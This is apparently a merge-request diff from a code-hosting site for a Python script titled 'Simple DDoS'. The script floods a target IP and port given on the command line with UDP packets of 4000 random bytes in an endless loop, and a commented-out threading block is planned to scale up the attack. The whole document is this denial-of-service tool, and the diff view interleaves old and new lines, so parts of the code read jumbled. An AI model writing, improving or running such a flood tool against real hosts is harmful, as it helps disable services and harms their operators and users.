Create new branch to simplify things #1

Merged
twhite96 merged 2 commits from fix/simplify into main 2023-11-15 19:54:20 -05:00
Showing only changes of commit 9ece63b941 - Show all commits

View file

@ -1,9 +1,9 @@
import os import os, sys, socket
import platform import platform
import random import random
from datetime import datetime as dt
# import threading os.system('figlet Simple DDoS | lolcat')
import socket
# TODO: Read docs on time, os, random, threading, and platform # TODO: Read docs on time, os, random, threading, and platform
# TODO: Take questions to Mastodon # TODO: Take questions to Mastodon
@ -17,6 +17,7 @@ G = '\033[32m'
C = '\033[36m' C = '\033[36m'
W = '\033[0m' W = '\033[0m'
# v1: just create ddos script # v1: just create ddos script
# Instead ofusing SOCK_STREAM for TCP connections # Instead ofusing SOCK_STREAM for TCP connections
@ -29,51 +30,41 @@ W = '\033[0m'
# TODO: research ipv6 # TODO: research ipv6
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
bytes1 = random.randbytes(2000)
bytes2 = random.randbytes(2900)
system = platform.uname().system
# this is better system = getattr(platform.uname(), "system") # this is better system = getattr(platform.uname(), "system")
# instead of hardcoding a specific index # instead of hardcoding a specific index
# because if something in the l # because if something in the l
def check_os(): def ddos(target, port):
if system == 'Windows':
os.system("cls")
elif system == 'Unix':
os.system("clear")
class DDoS:
pass
def __init__(self, target, port, ip):
self.target = target
self.port = port
self.ip = ip
# call function to check what system is used
# Why use a try
def ddos(target, port, ipaddress):
sent = 0 sent = 0
try: if len(sys.argv) == 3:
while True: socket.gethostbyname(sys.argv[1]) # create string from IPv4 to pass as argument to sentto
sock.sendto(bytes1, (target, port)) else:
sent = sent + 1 print('\n' + R + '[!]' + R + 'Invalid amount of arguments')
print('\n' + 'Syntax: python3 ddos.py <ip> <port>')
print("Sending %s packets to %s through port:%s" % (sent, ipaddress, port)) print("-" * 25)
print("Attacking target:" + target)
print("Time started:" + str(dt.now()))
try:
# create an infinite loop to continuously send junk data
# to target ip
while True: while True:
sock.sendto(bytes2, (target, port)) # Create a new socket
# assign socket to s
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
# create a variable that will send 4000 random bytes
bytes1 = random.randbytes(4000)
# bytes2 = random.randbytes(4000)
# system = platform.uname().system
# send 4000 random bytes to the target on port passed as arg
s.sendto(bytes1, (target, port))
sent = sent + 1 sent = sent + 1
print("Sending %s packets to %s through port:%s" % (sent, ipaddress, port))
# Break out of infinite loop # Break out of infinite loop
@ -88,8 +79,3 @@ def ddos(target, port, ipaddress):
print(R + '[-] ' + C + 'Unknown address.') print(R + '[-] ' + C + 'Unknown address.')
print(R + '[-] ' + C + 'Please input the correct ip address.') print(R + '[-] ' + C + 'Please input the correct ip address.')
# For introducing to the script later
# for i in range(150):
# thread = threading.Thread(target=ddos)
# thread.start()